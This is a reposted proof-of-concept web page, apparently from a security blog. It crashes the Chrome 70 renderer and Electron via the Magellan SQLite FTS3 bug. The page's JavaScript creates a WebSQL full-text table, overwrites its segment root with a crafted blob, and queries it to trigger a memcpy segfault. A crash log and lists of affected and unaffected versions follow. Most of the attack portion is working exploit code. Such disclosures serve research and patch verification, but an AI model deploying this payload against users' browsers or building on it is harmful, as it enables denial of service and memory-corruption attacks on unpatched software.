Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86399407

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!---
title: Crash Chrome 70 with the SQLite Magellan bug
categories: chrome
permalink: /sqlitebug/
layout: post
---!>

<p>This proof-of-concept crashes the Chrome renderer process using <a href="https://blade.tencent.com/magellan/index_en.html">Tencent Blade Team's Magellan SQLite3 bug</a>. It's based on  <a href="https://www.sqlite.org/src/info/940f2adc8541a838">a SQLite test case</a> from the commit that fixed the bug.</p>

<p><span id="prompttext">If you're using Chrome 70 or below, tap the button below to crash this page:</span></p>
<button onClick="crash()" style="font-size: 150%">Crash this page</button>
<p>Your browser's user agent is: <span id="browserUserAgent">not available without JavaScript. Turn it on!</span></p>

<p><a href="https://github.com/zhuowei/worthdoingbadly.com/blob/master/_posts/2018-12-14-sqlitebug.html">Source code for this page on GitHub</a>.</p>

<h1>Sign up for more information</h1>
<p>I'm working on understanding how this issue affects browsers. To get notified when I update this page, please sign up to my mailing list:</p>
<form action="https://worthdoingbadly.us18.list-manage.com/subscribe/post?u=3f9820ca33ce6a7b1e682c9ac&id=014e6793b7&SIGNUP=inline-sqlitebug" method="post" id="mc-embedded-subscribe-form-inline" name="mc-embedded-subscribe-form-inline" class="validate" target="_blank">
    <input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL" placeholder="Email">
    <div style="position: absolute; left: -5000px;" aria-hidden="true"><input type="text" name="b_3f9820ca33ce6a7b1e682c9ac_014e6793b7" tabindex="-1" value=""></div>
    <input type="submit" value="Subscribe" name="subscribe" id="mc-embedded-subscribe" class="button">
</form>

<h1>What's supposed to happen?</h1>
<p>After you press the button, the page should crash:</p>
<p><img src="/assets/blog/sqlitebug/sqlite_cropped.png" alt="screenshot"></p>
<p>On Android 5.1, I get a segfault in memcpy:</p>
<pre style="font-size: 10px">
        F/libc    ( 3801): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xe0ddb457 in tid 3854 (Database thread)
        I/DEBUG   (  142): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
        I/DEBUG   (  142): Build fingerprint: 'google/nakasi/grouper:5.1/LMY47D/1743759:user/release-keys'
        I/DEBUG   (  142): Revision: '0'
        I/DEBUG   (  142): ABI: 'arm'
        I/DEBUG   (  142): pid: 3801, tid: 3854, name: Database thread  >>> com.android.chrome:sandboxed_process6 <<<
        I/DEBUG   (  142): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xe0ddb457
        I/DEBUG   (  142):     r0 e0ddb457  r1 611be0ab  r2 00000002  r3 ff000000
        I/DEBUG   (  142):     r4 611be038  r5 00000002  r6 611be0a9  r7 7fffffff
        I/DEBUG   (  142):     r8 00000001  r9 611be0ab  sl 80000001  fp 00000000
        I/DEBUG   (  142):     ip 00000066  sp 6defd3a0  lr 00000074  pc 4025eb62  cpsr 680f2430
        I/DEBUG   (  142): 
        I/DEBUG   (  142): backtrace:
        I/DEBUG   (  142):     #00 pc 0000fb62  /system/lib/libc.so (__memcpy_base+217)
        I/DEBUG   (  142):     #01 pc 018d0e1d  /data/app/com.android.chrome-1/base.apk
</pre>

<h1>What's affected?</h1>
<p>Affected: tested, causes one tab/one window to crash:</p>
<ul>
    <li>Chrome 70.0.3538.110 on Android 5.1 and 9</li>
    <li>Electron 2.0.12 on macOS 10.14</li>
</ul>
<p>Not affected:</p>
<ul>
    <li>Chrome 71.0.3578.98 on Android 8.1 (already fixed)</li>
    <li>Safari (doesn't have FTS enabled in SQLite3)</li>
    <li>Browsers not based on Chrome (no WebSQL support)</li>
</ul>

<script>
// https://gist.github.com/nolanlawson/0264938033aca2201012
// https://www.sqlite.org/src/info/940f2adc8541a838
const db = openDatabase('fts_demo', 1, 'fts_demo', 5000000);

const firstStatements = [
"DROP TABLE IF EXISTS ft;",
"CREATE VIRTUAL TABLE ft USING fts3;",
"INSERT INTO ft VALUES('aback');",
"INSERT INTO ft VALUES('abaft');",
"INSERT INTO ft VALUES('abandon');",
];

const secondStatements = [
"SELECT quote(root) from ft_segdir;",
"UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';",
"SELECT * FROM ft WHERE ft MATCH 'abandon';"
];

function dbSuccess() {
	console.log("success");
	console.log(arguments);
}

function dbErr() {
	console.log("err");
	console.log(arguments);
}

function runAll(statements, success) {
	db.transaction((tx) => {
		console.log("alive");
		for (const statement of statements) {
			console.log("queueing " + statement);
			tx.executeSql(statement, [], dbSuccess, dbErr);
		}
		console.log("queued");
	}, dbErr, success);
}
function crash() {
	runAll(firstStatements, (event) => {
		console.log(event);
		runAll(secondStatements, (event) => {
			console.log(event);
		});
	});
}
// onload
function getChromeVersion(userAgent) {
    for (const part of userAgent.split(" ")) {
        if (part.startsWith("Chrome/") || part.startsWith("Chromium/")) {
            return part.substring(part.indexOf("/") + 1);
        }
    }
    return null;
}
function isChromeSupported(chromeVersion) {
    if (chromeVersion == null) return false;
    const firstPart = chromeVersion.substring(0, chromeVersion.indexOf("."));
    return parseInt(firstPart) <= 70;
}
function getPromptText(userAgent) {
    const chromeVersion = getChromeVersion(userAgent);
    if (chromeVersion == null) {
        return "This demo only works on Chrome 70 or below. Open this page in Chrome 70, then tap the button.";
    }
    const chromeOK = isChromeSupported(chromeVersion);
    if (chromeOK) {
        return "You're using Chrome 70 or below, so you may be vulnerable. Tap the button to crash this page.";
    }
    return "Your Chrome is too new. Open this page in Chrome 70, then tap the button.";
}
function onLoad() {
    document.getElementById("browserUserAgent").textContent = navigator.userAgent;
    document.getElementById("prompttext").textContent = getPromptText(navigator.userAgent);
}
window.onload = onLoad;
</script>